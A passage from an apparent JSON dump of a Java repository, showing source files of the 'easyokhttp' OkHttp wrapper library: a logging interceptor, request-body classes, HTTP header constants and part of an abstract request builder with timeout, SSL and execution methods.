response;\n    }\n\n    private void loggingResponse(Response response, long usedTimes) throws IOException {\n        if (loggingLevel == Level.NONE || loggingLevel == Level.REQUEST) {\n            return;\n        }\n        boolean bodyPrint = loggingLevel == Level.RESPONSE || loggingLevel == Level.BASIC || loggingLevel == Level.ALL,\n                headerPrint = loggingLevel == Level.RESPONSE || loggingLevel == Level.HEADER || loggingLevel == Level.ALL;\n        HttpUrl httpUrl = response.request().url();\n        ResponseBody responseBody = response.peekBody(1024 << 1);\n\n        if (loggingLevel == Level.RESPONSE) {\n            logger.info(\" |=== Start to print the connection[{}] data ===|\", httpUrl.toString());\n        }\n        logger.info(\" |=== The request executes over,http statusCode is {},http message is {},taking {} ms\",\n                response.code(), response.message(), usedTimes);\n        if (headerPrint) {\n            logger.info(\" |=== Start to print response headers === |\");\n            Headers headers = response.headers();\n            for (String name : headers.names()) {\n                logger.info(\" |=== {} : {} ===|\", name, headers.get(name));\n            }\n            logger.info(\" |=== Finish to print response headers === |\");\n        }\n        if (bodyPrint && HttpHeaders.hasBody(response)) {\n            if (isPlainText(responseBody.contentType())) {\n                logger.info(\" |=== Start to print response body === |\");\n                logger.info(\" |=== The body data is \\n{}\", responseBody.string());\n                logger.info(\" |=== Finish to print response body === |\");\n            } else {\n                logger.warn(\" |=== The response body may contains 'file' part, ignore to print! ===|\");\n            }\n        }\n        logger.info(\" |=== Finish to print the connection[{}] data ===|\\n\", httpUrl.toString());\n    }\n\n    private void loggingRequest(Request request) throws IOException {\n        if (loggingLevel == Level.NONE || loggingLevel == Level.RESPONSE) {\n            return;\n        }\n        boolean bodyPrint = loggingLevel == Level.REQUEST || loggingLevel == Level.BASIC || loggingLevel == Level.ALL,\n                headerPrint = loggingLevel == Level.REQUEST || loggingLevel == Level.HEADER || loggingLevel == Level.ALL;\n        HttpUrl httpUrl = request.url();\n        logger.info(\" |=== Start to print the connection[{}] data ===|\", httpUrl.toString());\n        if (headerPrint) {\n            logger.info(\" |=== Start to print request headers === |\");\n            Headers headers = request.headers();\n            for (String name : headers.names()) {\n                logger.info(\" |=== {} : {} ===|\", name, headers.get(name));\n            }\n            logger.info(\" |=== Finish to print request headers === |\");\n        }\n        if (bodyPrint) {\n            RequestBody requestBody = request.body();\n            if (requestBody != null) {\n                if (isPlainText(requestBody.contentType())) {\n                    logger.info(\" |=== Start to print request body === |\");\n                    Request copy = request.newBuilder().build();\n                    requestBody = copy.body();\n                    Buffer buffer = new Buffer();\n                    requestBody.writeTo(buffer);\n                    MediaType mediaType = requestBody.contentType();\n                    logger.info(\" |=== The body data is {} ===|\", buffer.readString(mediaType.charset(Util.UTF_8)));\n                    logger.info(\" |=== Finish to print request body === |\");\n                } else {\n                    logger.warn(\" |=== The request body may contains 'file' part, ignore to print! ===|\");\n                }\n            }\n        }\n        if (loggingLevel == Level.REQUEST) {\n            logger.info(\" |=== Finish to print the connection[{}] data ===|\\n\", httpUrl.toString());\n        }\n    }\n\n    /**\n     * Returns true if the body in question probably contains human readable text. Uses a small sample\n     * of code points to detect unicode control characters commonly used in binary file signatures.\n     *\n     * @param mediaType The content type\n     */\n    private boolean isPlainText(MediaType mediaType) {\n        if (mediaType == null) {\n            return false;\n        }\n        if (mediaType.type() != null && mediaType.type().equals(\"text\")) {\n            return true;\n        }\n        String subtype = mediaType.subtype();\n        if (subtype != null) {\n            if (subtype.contains(\"x-www-form-urlencoded\") || subtype.contains(\"json\") ||\n                    subtype.contains(\"xml\") || subtype.contains(\"html\")) {\n                return true;\n            }\n        }\n        return false;\n    }\n\n    /**\n     * 定义日志打印级别\n     *\n     * @author mzlion on 2017/1/24.\n     */\n    public enum Level {\n\n        /**\n         * 不打印日志\n         */\n        NONE,\n\n        /**\n         * 打印请求参数和响应结果\n         */\n        BASIC,\n\n        /**\n         * 打印请求Header和响应Header\n         */\n        HEADER,\n\n        /**\n         * 打印请求参数和header\n         */\n        REQUEST,\n\n        /**\n         * 打印响应结果和header\n         */\n        RESPONSE,\n\n        /**\n         * 打印所有信息\n         */\n        ALL,\n    }\n\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_okhttp/src/main/java/com/mzlion/easyokhttp/http/FileRequestBody.java",
    "content": "/*\n * Copyright (C) 2016-2017 mzlion(mzllon@qq.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.mzlion.easyokhttp.http;\n\nimport okhttp3.MediaType;\nimport okhttp3.RequestBody;\nimport okhttp3.internal.Util;\nimport okio.BufferedSink;\nimport okio.Okio;\nimport okio.Source;\n\nimport java.io.File;\nimport java.io.IOException;\n\n/**\n * 文件请求对象\n *\n * @author mzlion on 2016/12/9.\n */\npublic class FileRequestBody extends RequestBody {\n\n    private final File file;\n    private final MediaType mediaType;\n\n    public FileRequestBody(File file, MediaType mediaType) {\n        this.file = file;\n        this.mediaType = mediaType;\n    }\n\n    /**\n     * Returns the number of bytes that will be written to {@code out} in a call to {@link #writeTo},\n     * or -1 if that count is unknown.\n     */\n    @Override\n    public long contentLength() throws IOException {\n        return file.length();\n    }\n\n    /**\n     * Returns the Content-Type header for this body.\n     */\n    @Override\n    public MediaType contentType() {\n        return this.mediaType;\n    }\n\n    /**\n     * Writes the content of this request to {@code out}.\n     */\n    @Override\n    public void writeTo(BufferedSink sink) throws IOException {\n        Source source = null;\n        try {\n            source = Okio.source(file);\n            sink.writeAll(source);\n        } finally {\n            Util.closeQuietly(source);\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_okhttp/src/main/java/com/mzlion/easyokhttp/http/FileWrapper.java",
    "content": "/*\n * Copyright (C) 2016-2017 mzlion(mzllon@qq.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.mzlion.easyokhttp.http;\n\nimport com.mzlion.core.lang.Assert;\nimport com.mzlion.easyokhttp.exception.HttpClientException;\nimport com.mzlion.easyokhttp.utils.Utils;\nimport okhttp3.MediaType;\nimport okhttp3.RequestBody;\n\nimport java.io.File;\nimport java.io.InputStream;\n\n/**\n * 文件包装类\n *\n * @author mzlion on 2016/12/9.\n */\npublic class FileWrapper {\n\n    private InputStream content;\n    private File file;\n    private String filename;\n\n    private MediaType mediaType;\n\n    FileWrapper(Builder builder) {\n        this.mediaType = builder.mediaType;\n        this.file = builder.file;\n        this.filename = builder.filename;\n        this.content = builder.content;\n    }\n\n    public String getFilename() {\n        return filename;\n    }\n\n    public static Builder create() {\n        return new Builder();\n    }\n\n    public RequestBody requestBody() {\n        if (this.file != null) {\n            return new FileRequestBody(this.file, this.mediaType);\n        }\n        return new InputStreamRequestBody(this.content, this.mediaType);\n    }\n\n    public static class Builder {\n\n        private InputStream content;\n\n        private File file;\n        private String filename;\n\n        private MediaType mediaType;\n\n\n        public Builder file(File file) {\n            Assert.notNull(file, \"File may not be null.\");\n            if (!file.exists()) {\n                throw new HttpClientException(\"File does not exist.\");\n            }\n            this.file = file;\n            return this;\n        }\n\n        public Builder filename(String filename) {\n            Assert.hasLength(filename, \"Filename may not be null.\");\n            this.filename = filename;\n            return this;\n        }\n\n        public Builder stream(InputStream stream) {\n            Assert.notNull(stream, \"Stream may not be null.\");\n            this.content = stream;\n            return this;\n        }\n\n        public Builder contentType(String contentType) {\n            Assert.hasLength(contentType, \"ContentType may not be null.\");\n            this.mediaType = MediaType.parse(contentType);\n            return this;\n        }\n\n        public Builder mediaType(MediaType mediaType) {\n            Assert.notNull(mediaType, \"Media may not be null.\");\n            this.mediaType = mediaType;\n            return this;\n        }\n\n        public FileWrapper build() {\n            if (this.file != null) {\n                if (this.filename == null) {\n                    this.filename = file.getName();\n                }\n            } else if (this.content != null) {\n                if (this.filename == null) {\n                    throw new HttpClientException(\"Filename may not be null\");\n                }\n            } else {\n                throw new HttpClientException(\"The content is null.\");\n            }\n            if (this.mediaType == null) {\n                this.mediaType = Utils.guessMediaType(this.filename);\n            }\n            return new FileWrapper(this);\n        }\n\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_okhttp/src/main/java/com/mzlion/easyokhttp/http/Header.java",
    "content": "/*\n * Copyright (C) 2016-2017 mzlion(mzllon@qq.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.mzlion.easyokhttp.http;\n\n/**\n * HTTP header对象\n *\n * @author mzlion on 2016/12/8.\n */\npublic interface Header {\n\n    /**\n     * Get the name of the Header.\n     *\n     * @return the name of the Header,  never {@code null}\n     */\n    String getName();\n\n    /**\n     * Get the value of the Header.\n     *\n     * @return the value of the Header,  may be {@code null}\n     */\n    String getValue();\n\n    //region==============定义常用的标准header name==============\n    /**\n     * The header Accept\n     */\n    String ACCEPT = \"Accept\";\n    /**\n     * The header Accept-Charset\n     */\n    String ACCEPT_CHARSET = \"Accept-Charset\";\n    /**\n     * The header Accept-Encoding\n     */\n    String ACCEPT_ENCODING = \"Accept-Encoding\";\n    /**\n     * The header Accept-Language\n     */\n    String ACCEPT_LANGUAGE = \"Accept-Language\";\n    /**\n     * The header Accept-Ranges\n     */\n    String ACCEPT_RANGES = \"Accept-Ranges\";\n    /**\n     * The header Age\n     */\n    String AGE = \"Age\";\n    /**\n     * The header Allow\n     */\n    String ALLOW = \"Allow\";\n    /**\n     * The header Cache-Control\n     */\n    String CACHE_CONTROL = \"Cache-Control\";\n    /**\n     * The header Connection\n     */\n    String CONNECTION = \"Connection\";\n    /**\n     * The header Content-Encoding\n     */\n    String CONTENT_ENCODING = \"Content-Encoding\";\n    /**\n     * The header Content-Language\n     */\n    String CONTENT_LANGUAGE = \"Content-Language\";\n    /**\n     * The header Content-Length\n     */\n    String CONTENT_LENGTH = \"Content-Length\";\n    /**\n     * The header Content-Location\n     */\n    String CONTENT_LOCATION = \"Content-Location\";\n    /**\n     * The header Content-MD5\n     */\n    String CONTENT_MD5 = \"Content-MD5\";\n    /**\n     * The header Content-Range\n     */\n    String CONTENT_RANGE = \"Content-Range\";\n    /**\n     * The header Content-Type\n     */\n    String CONTENT_TYPE = \"Content-Type\";\n    /**\n     * The header Content-Disposition\n     */\n    String CONTENT_DISPOSITION = \"Content-Disposition\";\n    /**\n     * The header User-Agent\n     */\n    String USER_AGENT = \"User-Agent\";\n    /**\n     * The header Transfer-Encoding\n     */\n    String TRANSFER_ENCODING = \"Transfer-Encoding\";\n    //endregion==============定义常用的标准header name==============\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_okhttp/src/main/java/com/mzlion/easyokhttp/http/InputStreamRequestBody.java",
    "content": "/*\n * Copyright (C) 2016-2017 mzlion(mzllon@qq.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.mzlion.easyokhttp.http;\n\nimport com.mzlion.core.io.IOUtils;\nimport okhttp3.MediaType;\nimport okhttp3.RequestBody;\nimport okio.BufferedSink;\n\nimport java.io.ByteArrayOutputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\n\n/**\n * Request body封装\n *\n * @author tony on 2016-12-09\n */\npublic class InputStreamRequestBody extends RequestBody {\n\n    private final byte[] content;\n    private final int byteCount;\n    private final MediaType mediaType;\n\n    public InputStreamRequestBody(InputStream content, MediaType mediaType) {\n        this.mediaType = mediaType;\n        ByteArrayOutputStream baos = new ByteArrayOutputStream();\n        try {\n            IOUtils.copy(content, baos);\n            this.content = baos.toByteArray();\n            this.byteCount = this.content.length;\n        } finally {\n            IOUtils.closeQuietly(content);\n        }\n    }\n\n    /**\n     * Returns the number of bytes that will be written to {@code out} in a call to {@link #writeTo},\n     * or -1 if that count is unknown.\n     */\n    @Override\n    public long contentLength() throws IOException {\n        return this.byteCount;\n    }\n\n    /**\n     * Returns the Content-Type header for this body.\n     */\n    @Override\n    public MediaType contentType() {\n        return this.mediaType;\n    }\n\n    /**\n     * Writes the content of this request to {@code out}.\n     */\n    @Override\n    public void writeTo(BufferedSink sink) throws IOException {\n        sink.write(this.content, 0, this.byteCount);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_okhttp/src/main/java/com/mzlion/easyokhttp/http/ProcessRequestBody.java",
    "content": "/*\n * Copyright (C) 2016-2017 mzlion(mzllon@qq.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.mzlion.easyokhttp.http;\n\nimport okhttp3.MediaType;\nimport okhttp3.RequestBody;\nimport okio.*;\n\nimport java.io.IOException;\n\n/**\n * 处理提交进度，一般对有进度展示需求的有用\n *\n * @author mzlion on 2016-12-14\n */\npublic class ProcessRequestBody extends RequestBody {\n\n    private RequestBody delegate;\n    private Listener listener;\n\n    public ProcessRequestBody(RequestBody delegate, Listener listener) {\n        this.delegate = delegate;\n        this.listener = listener;\n    }\n\n    /**\n     * Returns the Content-Type header for this body.\n     */\n    @Override\n    public MediaType contentType() {\n        return this.delegate.contentType();\n    }\n\n    /**\n     * Returns the number of bytes that will be written to {@code out} in a call to {@link #writeTo},\n     * or -1 if that count is unknown.\n     */\n    @Override\n    public long contentLength() throws IOException {\n        return this.delegate.contentLength();\n    }\n\n    /**\n     * Writes the content of this request to {@code out}.\n     *\n     * @param sink {@link BufferedSink}\n     */\n    @Override\n    public void writeTo(BufferedSink sink) throws IOException {\n        ProgressSink progressSink = new ProgressSink(sink);\n        BufferedSink bufferedSink = Okio.buffer(progressSink);\n        this.delegate.writeTo(bufferedSink);\n        bufferedSink.flush();//必须调用flush保证都写入完成\n    }\n\n    /**\n     * 计算字节处理进度\n     */\n    private final class ProgressSink extends ForwardingSink {\n\n        private long bytesWritten;//当前写入字节数\n\n        ProgressSink(Sink delegate) {\n            super(delegate);\n        }\n\n        @Override\n        public void write(Buffer source, long byteCount) throws IOException {\n            super.write(source, byteCount);\n            this.bytesWritten += byteCount;\n            listener.onRequestProgress(this.bytesWritten, contentLength());\n        }\n    }\n\n\n    /**\n     * 回调接口\n     */\n    public interface Listener {\n        void onRequestProgress(final long bytesWritten, final long contentLength);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_okhttp/src/main/java/com/mzlion/easyokhttp/request/AbsHttpRequest.java",
    "content": "/*\n * Copyright (C) 2016-2017 mzlion(mzllon@qq.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.mzlion.easyokhttp.request;\n\nimport com.mzlion.core.io.IOUtils;\nimport com.mzlion.core.json.TypeRef;\nimport com.mzlion.core.lang.Assert;\nimport com.mzlion.core.lang.CollectionUtils;\nimport com.mzlion.core.lang.StringUtils;\nimport com.mzlion.easyokhttp.HttpClient;\nimport com.mzlion.easyokhttp.exception.HttpClientConfigException;\nimport com.mzlion.easyokhttp.exception.HttpClientException;\nimport com.mzlion.easyokhttp.exception.HttpStatusCodeException;\nimport com.mzlion.easyokhttp.http.Header;\nimport com.mzlion.easyokhttp.http.ProcessRequestBody;\nimport com.mzlion.easyokhttp.response.HttpResponse;\nimport com.mzlion.easyokhttp.response.callback.Callback;\nimport com.mzlion.easyokhttp.utils.SSLContexts;\nimport com.mzlion.easyokhttp.utils.Utils;\nimport okhttp3.*;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport javax.net.ssl.X509TrustManager;\nimport java.io.File;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.OutputStream;\nimport java.util.LinkedHashMap;\nimport java.util.LinkedList;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.concurrent.TimeUnit;\n\n/**\n * <p>\n * 2016-04-16 {@linkplain HttpRequest}的抽象实现，实现了大部分方法.\n * </p>\n *\n * @author mzlion on 2016-04-16\n */\n@SuppressWarnings(\"unchecked\")\npublic abstract class AbsHttpRequest<Req extends HttpRequest<Req>> implements HttpRequest<Req> {\n    protected Logger logger = LoggerFactory.getLogger(AbsHttpRequest.class);\n    protected String url;\n\n    /**\n     * 连接超时时间\n     */\n    private TimeoutHolder connectTimeout;\n    /**\n     * 流读取超时时间\n     */\n    private TimeoutHolder readTimeout;\n    /**\n     * 流写入超时时间\n     */\n    private TimeoutHolder writeTimeout;\n\n    /**\n     * SSL证书文件列表\n     */\n    private CertificateHolder certificateHolder = null;\n\n    /**\n     * 存储请求头信息\n     */\n    private Map<String, String> headers;\n\n    private Map<String, List<String>> queryParams;\n\n    /**\n     * default constructor\n     *\n     * @param url 请求地址\n     */\n    AbsHttpRequest(String url) {\n        this.url = url;\n        this.headers = new LinkedHashMap<>();\n        this.queryParams = new LinkedHashMap<>();\n\n        //设置默认的User-Agent和Accept-Language\n        this.header(Header.ACCEPT_LANGUAGE, Utils.getAcceptLanguage());\n        this.header(Header.USER_AGENT, Utils.getUserAgent());\n    }\n\n    /**\n     * 设置请求地址\n     *\n     * @param url 请求地址\n     * @return 返回当前类{@linkplain Req}的对象自己\n     */\n    @Override\n    public Req url(String url) {\n        this.url = url;\n        return (Req) this;\n    }\n\n\n    //region===============为URL后面追加参数===============\n\n    /**\n     * 为url地址设置请求参数，即url?username=admin&nbsp;pwd=123\n     *\n     * @param name  参数名\n     * @param value 参数值\n     * @return 返回当前类{@linkplain Req}的对象自己\n     */\n    @Override\n    public Req queryString(String name, Number value) {\n        return this.queryString(name, value == null ? null : value.toString());\n    }\n\n    /**\n     * 为url地址设置请求参数，即url?username=admin&nbsp;pwd=123\n     *\n     * @param name  参数名\n     * @param value 参数值\n     * @return 返回当前类{@linkplain Req}的对象自己\n     */\n    @Override\n    public Req queryString(String name, String value) {\n        return this.queryString(name, value, false);\n    }\n\n    /**\n     * 为url地址设置请求参数，即url?username=admin&nbsp;pwd=123\n     *\n     * @param name    参数名\n     * @param value   参数值\n     * @param replace 值为[@code true}则替换\n     * @return 返回当前类{@linkplain Req}的对象自己\n     */\n    @Override\n    public Req queryString(String name, String value, boolean replace) {\n        //Assert.hasLength(name, \"Name must not be null.\");\n        if (StringUtils.isEmpty(name)) {\n            return (Req) this;\n        }\n        if (!replace && value == null) {\n            logger.warn(\" ===> The value is null,ignore:name={},value=null\", name);\n            return (Req) this;\n        }\n        List<String> valueList = this.queryParams.get(name);\n        if (valueList == null) {\n            valueList = new LinkedList<>();\n            this.queryParams.put(name, valueList);\n        }\n        if (replace) {\n            valueList.clear();\n        }\n        valueList.add(value);\n        return (Req) this;\n    }\n\n    /**\n     * 为url地址设置请求参数，即url?username=admin&nbsp;pwd=123\n     *\n     * @param parameters 参数对\n     * @return 返回当前类{@linkplain Req}的对象自己\n     */\n    @Override\n    public Req queryString(Map<String, String> parameters) {\n        //Assert.notEmpty(parameters, \"Parameters may not be null or empty.\");\n        if (CollectionUtils.isEmpty(parameters)) {\n            return (Req) this;\n        }\n        for (Map.Entry<String, String> entry : parameters.entrySet()) {\n            this.queryString(entry.getKey(), entry.getValue());\n        }\n        return (Req) this;\n    }\n    //endregion===============为URL后面追加参数===============\n\n\n    //region===============设置HTTP Header===============\n\n    /**\n     * 添加请求头信息\n     *\n     * @param name  请求头键名\n     * @param value 请求头值\n     * @return 返回当前类{@linkplain Req}的对象自己\n     */\n    @Override\n    public Req header(String name, String value) {\n        //Assert.hasLength(name, \"Name may not be null or empty.\");\n        //Assert.notNull(value, \"Value may not be null.\");\n        if (StringUtils.hasLength(name) && null != value) {\n            this.headers.put(name, value);\n        }\n        return (Req) this;\n    }\n\n    /**\n     * 从请求头中移除键值\n     *\n     * @param name 请求头键名\n     * @return 返回当前类{@linkplain Req}的对象自己\n     */\n    @Override\n    public Req removeHeader(String name) {\n        //Assert.hasLength(name, \"Name may noy be null or empty.\");\n        if (StringUtils.hasLength(name)) {\n            this.headers.remove(name);\n        }\n        return (Req) this;\n    }\n    //endregion===============设置HTTP Header===============\n\n\n    //region===============覆盖配置HttpClient===============\n\n    /**\n     * 为构建本次{@linkplain HttpRequest}设置单独连接超时时间。调用此方法会重新创建{@linkplain OkHttpClient}。\n     *\n     * @param connectTimeout 连接超时时间\n     * @param timeUnit       超时时间单位\n     * @return 返回当前类{@linkplain Req}的对象自己\n     */\n    @Override\n    public Req connectTimeout(int connectTimeout, TimeUnit timeUnit) {\n        if (connectTimeout < 0) {\n            throw new HttpClientConfigException(\"Connect Timeout may be than 0.\");\n        }\n        if (timeUnit == null) {\n            throw new HttpClientConfigException(\"TimeUnit may not be null.\");\n        }\n        this.connectTimeout = new TimeoutHolder(connectTimeout, timeUnit);\n        return (Req) this;\n    }\n\n    /**\n     * 为构建本次{@linkplain HttpRequest}设置单独连接超时时间。调用此方法会重新创建{@linkplain OkHttpClient}。\n     *\n     * @param connectTimeout 连接超时时间\n     * @return 返回当前类{@linkplain Req}的对象自己\n     */\n    @Override\n    public Req connectTimeout(int connectTimeout) {\n        return connectTimeout(connectTimeout, TimeUnit.SECONDS);\n    }\n\n    /**\n     * 为构建本次{@linkplain HttpRequest}设置单独读取流超时。\n     *\n     * @param readTimeout 流读取超时时间\n     * @param timeUnit    超时时间单位\n     * @return 返回当前类{@linkplain Req}的对象自己\n     */\n    @Override\n    public Req readTimeout(int readTimeout, TimeUnit timeUnit) {\n        if (readTimeout < 0) {\n            throw new HttpClientConfigException(\"Read Timeout may be than 0.\");\n        }\n        if (timeUnit == null) {\n            throw new HttpClientConfigException(\"TimeUnit may not be null.\");\n        }\n        this.readTimeout = new TimeoutHolder(readTimeout, timeUnit);\n        return (Req) this;\n    }\n\n    /**\n     * 为构建本次{@linkplain HttpRequest}设置单独读取流超时。\n     *\n     * @param readTimeout 流读取超时时间\n     * @return 返回当前类{@linkplain Req}的对象自己\n     */\n    @Override\n    public Req readTimeout(int readTimeout) {\n        return readTimeout(readTimeout, TimeUnit.SECONDS);\n    }\n\n    /**\n     * 为构建本次{@linkplain HttpRequest}设置单独写入流超时。\n     *\n     * @param writeTimeout 流写入超时时间\n     * @param timeUnit     超时时间单位\n     * @return 返回当前类{@linkplain Req}的对象自己\n     */\n    @Override\n    public Req writeTimeout(int writeTimeout, TimeUnit timeUnit) {\n        if (writeTimeout < 0) {\n            throw new HttpClientConfigException(\"Write Timeout may be than 0.\");\n        }\n        if (timeUnit == null) {\n            throw new HttpClientConfigException(\"TimeUnit may not be null.\");\n        }\n        this.writeTimeout = new TimeoutHolder(writeTimeout, timeUnit);\n        return (Req) this;\n    }\n\n    /**\n     * 为构建本次{@linkplain HttpRequest}设置单独写入流超时。\n     *\n     * @param writeTimeout 流写入超时时间\n     * @return 返回当前类{@linkplain Req}的对象自己\n     */\n    @Override\n    public Req writeTimeout(int writeTimeout) {\n        return writeTimeout(writeTimeout, TimeUnit.SECONDS);\n    }\n\n    /**\n     * 为构建本次{@linkplain HttpRequest}设置单独SSL证书\n     *\n     * @param certificates SSL证书文件\n     * @return 返回当前类{@link Req}的对象自己\n     */\n    @Override\n    public Req customSSL(InputStream... certificates) {\n        return customSSL(null, null, certificates);\n    }\n\n    /**\n     * 为构建本次{@linkplain HttpRequest}设置SSL单向认证\n     *\n     * @param trustManager 证书管理器\n     * @return 返回当前类{@linkplain Req}的对象自己\n     */\n    @Override\n    public Req customSSL(X509TrustManager trustManager) {\n        return customSSL(null, null, trustManager);\n    }\n\n    /**\n     * SSL双向认证\n     *\n     * @param pfxStream    客户端证书，支持P12的证书\n     * @param pfxPwd       客户端证书密码\n     * @param certificates 含有服务端公钥的证书\n     * @return {@link Req}\n     */\n    @Override\n    public Req customSSL(InputStream pfxStream, char[] pfxPwd, InputStream... certificates) {\n        this.certificateHolder = new CertificateHolder(certificates, null, pfxStream, pfxPwd);\n        return (Req) this;\n    }\n\n    /**\n     * SSL双向认证\n     *\n     * @param pfxStream    客户端证书，支持P12的证书\n     * @param pfxPwd       客户端证书密码\n     * @param trustManager 证书管理器\n     * @return {@link Req}\n     */\n    @Override\n    public Req customSSL(InputStream pfxStream, char[] pfxPwd, X509TrustManager trustManager) {\n        this.certificateHolder = new CertificateHolder(null, trustManager, pfxStream, pfxPwd);\n        return (Req) this;\n    }\n    //endregion===============覆盖配置HttpClient===============\n\n\n    //region===============增加了便捷转换方法===============\n\n    /**\n     * 将响应结果转为字符串\n     *\n     * @return 响应结果字符串\n     * @throws HttpClientException 如果服务器返回非200则抛出此异常\n     */\n    public String asString() {\n        return execute().asString();\n    }\n\n    /**\n     * 将响应结果转为JavaBean对象\n     *\n     * @param targetClass 目标类型\n     * @param <E>         泛型类型\n     * @return JavaBean对象\n     * @throws HttpClientException 如果服务器返回非200则抛出此异常\n     */\n    public <E> E asBean(Class<E> targetClass) {\n        return this.execute().asBean(targetClass);\n    }\n\n    /**\n     * 将响应结果转为JavaBean对象\n     * <p>\n     * 用法如下：Map&lt;String,String&gt; data = httpResponse.asBean(new TypeRef&lt;Map&lt;String,String&gt;&gt;);\n     * </p>\n     *\n     * @param typeRef 带有泛型类的封装类\n     * @param <E>     泛型类型\n     * @return JavaBean对象\n     * @throws HttpClientException 如果服务器返回非200则抛出此异常\n     */\n    public <E> E asBean(TypeRef<E> typeRef) {\n        return this.execute().asBean(typeRef);\n    }\n\n    /**\n     * 将响应结果转为字节数组\n     *\n     * @return 字节数组\n     * @throws HttpClientException 如果服务器返回非200则抛出此异常\n     */\n    public byte[] asByteData() {\n        return this.execute().asByteData();\n    }\n\n    /**\n     * 将响应结果输出到文件中\n     *\n     * @param saveFile 目标保存文件,非空\n     */\n    public void asFile(File saveFile) {\n        this.execute().asFile(saveFile);\n    }\n\n    /**\n     * 将响应结果输出到输出流,并不会主动关闭输出流{@code out}\n     *\n     * @param out 输出流,非空\n     */\n    public void asStream(OutputStream out) {\n        this.execute().asStream(out);\n    }\n    //endregion\n\n    /**\n     * 执行HTTP请求,获取响应结果\n     *\n     * @return 将响应结果转为具体的JavaBean\n     */\n    @Override\n    public HttpResponse execute() {\n        RequestBody requestBody = this.generateRequestBody();\n        Request request = this.generateRequest(requestBody);\n        Call call = this.generateCall(request);\n        Response response = null;\n        try {\n            response = call.execute();\n            ResponseBody responseBody = response.body();\n            byte[] byteData = responseBody.bytes();\n\n            Response newResponse = response.newBuilder()\n                    .body(ResponseBody.create(responseBody.contentType(), byteData))\n                    .build();\n\n            HttpResponse httpResponse = new HttpResponse(newResponse);\n            httpResponse.setErrorMessage(response.message());\n            httpResponse.setHttpCode(response.code());\n            if (response.code() < 200 || response.code() >= 300) {\n                if (!call.isCanceled()) {\n                    call.cancel();\n                }\n                httpResponse.setSuccess(false);\n                return httpResponse;\n            } else {\n                httpResponse.setSuccess(true);\n            }\n            return httpResponse;\n        } catch (IOException e) {\n            throw new HttpClientException(e);\n        } finally {\n            IOUtils.closeQuietly(response);\n        }\n    }\n\n    /**\n     * 异步执行请求\n     *\n     * @param callback 回调接口\n     * @param <T>      数据类型\n     */\n    @Override\n    public <T> void execute(Callback<T> callback) {\n        Callback<T> _cb = callback;\n        if (_cb == null) {\n            _cb = Callback.EMPTY_CALLBACK;\n        }\n        if (!callback.onBefore(this)) {\n            return;\n        }\n        final Callback<T> finalCb = _cb;\n\n        ProcessRequestBody processRequestBody = new ProcessRequestBody(this.generateRequestBody(), new ProcessRequestBody.Listener() {\n            @Override\n            public void onRequestProgress(long bytesWritten, long contentLength) {\n                finalCb.postProgress(bytesWritten, contentLength, 1.0f * bytesWritten / contentLength);\n            }\n        });\n        Call call = this.generateCall(this.generateRequest(processRequestBody));\n        call.enqueue(new okhttp3.Callback() {\n            @Override\n            public void onFailure(Call call, IOException e) {\n                if (!call.isCanceled()) {\n                    call.cancel();\n                }\n                finalCb.onError(call, e);\n            }\n\n            @Override\n            public void onResponse(Call call, Response response) throws IOException {\n                finalCb.onComplete(response);\n                if (response.code() >= 200 && response.code() < 300) {\n                    try {\n                        finalCb.onSuccess(finalCb.getDataHandler() == null ? null : finalCb.getDataHandler().handle(response));\n                    } finally {\n                        